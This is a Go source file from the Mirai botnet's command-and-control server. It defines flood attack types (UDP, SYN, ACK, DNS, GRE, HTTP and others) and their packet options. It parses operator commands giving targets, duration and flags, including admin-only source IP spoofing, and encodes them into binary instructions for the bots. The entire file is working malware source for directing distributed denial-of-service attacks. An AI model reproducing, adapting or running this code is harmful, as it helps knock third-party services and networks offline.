Mirai-Source-Code/mirai/cnc/attack.go

367 lines
10 KiB
Go
Executable File

package main
import (
"fmt"
"strings"
"strconv"
"net"
"encoding/binary"
"errors"
"github.com/mattn/go-shellwords"
)
type AttackInfo struct {
attackID uint8
attackFlags []uint8
attackDescription string
}
type Attack struct {
Duration uint32
Type uint8
Targets map[uint32]uint8 // Prefix/netmask
Flags map[uint8]string // key=value
}
type FlagInfo struct {
flagID uint8
flagDescription string
}
var flagInfoLookup map[string]FlagInfo = map[string]FlagInfo {
"len": FlagInfo {
0,
"Size of packet data, default is 512 bytes",
},
"rand": FlagInfo {
1,
"Randomize packet data content, default is 1 (yes)",
},
"tos": FlagInfo {
2,
"TOS field value in IP header, default is 0",
},
"ident": FlagInfo {
3,
"ID field value in IP header, default is random",
},
"ttl": FlagInfo {
4,
"TTL field in IP header, default is 255",
},
"df": FlagInfo {
5,
"Set the Dont-Fragment bit in IP header, default is 0 (no)",
},
"sport": FlagInfo {
6,
"Source port, default is random",
},
"dport": FlagInfo {
7,
"Destination port, default is random",
},
"domain": FlagInfo {
8,
"Domain name to attack",
},
"dhid": FlagInfo {
9,
"Domain name transaction ID, default is random",
},
"urg": FlagInfo {
11,
"Set the URG bit in IP header, default is 0 (no)",
},
"ack": FlagInfo {
12,
"Set the ACK bit in IP header, default is 0 (no) except for ACK flood",
},
"psh": FlagInfo {
13,
"Set the PSH bit in IP header, default is 0 (no)",
},
"rst": FlagInfo {
14,
"Set the RST bit in IP header, default is 0 (no)",
},
"syn": FlagInfo {
15,
"Set the ACK bit in IP header, default is 0 (no) except for SYN flood",
},
"fin": FlagInfo {
16,
"Set the FIN bit in IP header, default is 0 (no)",
},
"seqnum": FlagInfo {
17,
"Sequence number value in TCP header, default is random",
},
"acknum": FlagInfo {
18,
"Ack number value in TCP header, default is random",
},
"gcip": FlagInfo {
19,
"Set internal IP to destination ip, default is 0 (no)",
},
"method": FlagInfo {
20,
"HTTP method name, default is get",
},
"postdata": FlagInfo {
21,
"POST data, default is empty/none",
},
"path": FlagInfo {
22,
"HTTP path, default is /",
},
/*"ssl": FlagInfo {
23,
"Use HTTPS/SSL"
},
*/
"conns": FlagInfo {
24,
"Number of connections",
},
"source": FlagInfo {
25,
"Source IP address, 255.255.255.255 for random",
},
}
var attackInfoLookup map[string]AttackInfo = map[string]AttackInfo {
"udp": AttackInfo {
0,
[]uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 },
"UDP flood",
},
"vse": AttackInfo {
1,
[]uint8 { 2, 3, 4, 5, 6, 7 },
"Valve source engine specific flood",
},
"dns": AttackInfo {
2,
[]uint8 { 2, 3, 4, 5, 6, 7, 8, 9 },
"DNS resolver flood using the targets domain, input IP is ignored",
},
"syn": AttackInfo {
3,
[]uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
"SYN flood",
},
"ack": AttackInfo {
4,
[]uint8 { 0, 1, 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
"ACK flood",
},
"stomp": AttackInfo {
5,
[]uint8 { 0, 1, 2, 3, 4, 5, 7, 11, 12, 13, 14, 15, 16 },
"TCP stomp flood",
},
"greip": AttackInfo {
6,
[]uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
"GRE IP flood",
},
"greeth": AttackInfo {
7,
[]uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
"GRE Ethernet flood",
},
"udpplain": AttackInfo {
9,
[]uint8 {0, 1, 7},
"UDP flood with less options. optimized for higher PPS",
},
"http": AttackInfo {
10,
[]uint8 {8, 7, 20, 21, 22, 24},
"HTTP flood",
},
}
func uint8InSlice(a uint8, list []uint8) bool {
for _, b := range list {
if b == a {
return true
}
}
return false
}
func NewAttack(str string, admin int) (*Attack, error) {
atk := &Attack{0, 0, make(map[uint32]uint8), make(map[uint8]string)}
args, _ := shellwords.Parse(str)
var atkInfo AttackInfo
// Parse attack name
if len(args) == 0 {
return nil, errors.New("Must specify an attack name")
} else {
if args[0] == "?" {
validCmdList := "\033[37;1mAvailable attack list\r\n\033[36;1m"
for cmdName, atkInfo := range attackInfoLookup {
validCmdList += cmdName + ": " + atkInfo.attackDescription + "\r\n"
}
return nil, errors.New(validCmdList)
}
var exists bool
atkInfo, exists = attackInfoLookup[args[0]]
if !exists {
return nil, errors.New(fmt.Sprintf("\033[33;1m%s \033[31mis not a valid attack!", args[0]))
}
atk.Type = atkInfo.attackID
args = args[1:]
}
// Parse targets
if len(args) == 0 {
return nil, errors.New("Must specify prefix/netmask as targets")
} else {
if args[0] == "?" {
return nil, errors.New("\033[37;1mComma delimited list of target prefixes\r\nEx: 192.168.0.1\r\nEx: 10.0.0.0/8\r\nEx: 8.8.8.8,127.0.0.0/29")
}
cidrArgs := strings.Split(args[0], ",")
if len(cidrArgs) > 255 {
return nil, errors.New("Cannot specify more than 255 targets in a single attack!")
}
for _,cidr := range cidrArgs {
prefix := ""
netmask := uint8(32)
cidrInfo := strings.Split(cidr, "/")
if len(cidrInfo) == 0 {
return nil, errors.New("Blank target specified!")
}
prefix = cidrInfo[0]
if len(cidrInfo) == 2 {
netmaskTmp, err := strconv.Atoi(cidrInfo[1])
if err != nil || netmask > 32 || netmask < 0 {
return nil, errors.New(fmt.Sprintf("Invalid netmask was supplied, near %s", cidr))
}
netmask = uint8(netmaskTmp)
} else if len(cidrInfo) > 2 {
return nil, errors.New(fmt.Sprintf("Too many /'s in prefix, near %s", cidr))
}
ip := net.ParseIP(prefix)
if ip == nil {
return nil, errors.New(fmt.Sprintf("Failed to parse IP address, near %s", cidr))
}
atk.Targets[binary.BigEndian.Uint32(ip[12:])] = netmask
}
args = args[1:]
}
// Parse attack duration time
if len(args) == 0 {
return nil, errors.New("Must specify an attack duration")
} else {
if args[0] == "?" {
return nil, errors.New("\033[37;1mDuration of the attack, in seconds")
}
duration, err := strconv.Atoi(args[0])
if err != nil || duration == 0 || duration > 3600 {
return nil, errors.New(fmt.Sprintf("Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds", args[0]))
}
atk.Duration = uint32(duration)
args = args[1:]
}
// Parse flags
for len(args) > 0 {
if args[0] == "?" {
validFlags := "\033[37;1mList of flags key=val seperated by spaces. Valid flags for this method are\r\n\r\n"
for _, flagID := range atkInfo.attackFlags {
for flagName, flagInfo := range flagInfoLookup {
if flagID == flagInfo.flagID {
validFlags += flagName + ": " + flagInfo.flagDescription + "\r\n"
break
}
}
}
validFlags += "\r\nValue of 65535 for a flag denotes random (for ports, etc)\r\n"
validFlags += "Ex: seq=0\r\nEx: sport=0 dport=65535"
return nil, errors.New(validFlags)
}
flagSplit := strings.SplitN(args[0], "=", 2)
if len(flagSplit) != 2 {
return nil, errors.New(fmt.Sprintf("Invalid key=value flag combination near %s", args[0]))
}
flagInfo, exists := flagInfoLookup[flagSplit[0]]
if !exists || !uint8InSlice(flagInfo.flagID, atkInfo.attackFlags) || (admin == 0 && flagInfo.flagID == 25) {
return nil, errors.New(fmt.Sprintf("Invalid flag key %s, near %s", flagSplit[0], args[0]))
}
if flagSplit[1][0] == '"' {
flagSplit[1] = flagSplit[1][1:len(flagSplit[1]) - 1]
fmt.Println(flagSplit[1])
}
if flagSplit[1] == "true" {
flagSplit[1] = "1"
} else if flagSplit[1] == "false" {
flagSplit[1] = "0"
}
atk.Flags[uint8(flagInfo.flagID)] = flagSplit[1]
args = args[1:]
}
if len(atk.Flags) > 255 {
return nil, errors.New("Cannot have more than 255 flags")
}
return atk, nil
}
func (this *Attack) Build() ([]byte, error) {
buf := make([]byte, 0)
var tmp []byte
// Add in attack duration
tmp = make([]byte, 4)
binary.BigEndian.PutUint32(tmp, this.Duration)
buf = append(buf, tmp...)
// Add in attack type
buf = append(buf, byte(this.Type))
// Send number of targets
buf = append(buf, byte(len(this.Targets)))
// Send targets
for prefix,netmask := range this.Targets {
tmp = make([]byte, 5)
binary.BigEndian.PutUint32(tmp, prefix)
tmp[4] = byte(netmask)
buf = append(buf, tmp...)
}
// Send number of flags
buf = append(buf, byte(len(this.Flags)))
// Send flags
for key,val := range this.Flags {
tmp = make([]byte, 2)
tmp[0] = key
strbuf := []byte(val)
if len(strbuf) > 255 {
return nil, errors.New("Flag value cannot be more than 255 bytes!")
}
tmp[1] = uint8(len(strbuf))
tmp = append(tmp, strbuf...)
buf = append(buf, tmp...)
}
// Specify the total length
if len(buf) > 4096 {
return nil, errors.New("Max buffer is 4096")
}
tmp = make([]byte, 2)
binary.BigEndian.PutUint16(tmp, uint16(len(buf) + 2))
buf = append(tmp, buf...)
return buf, nil
}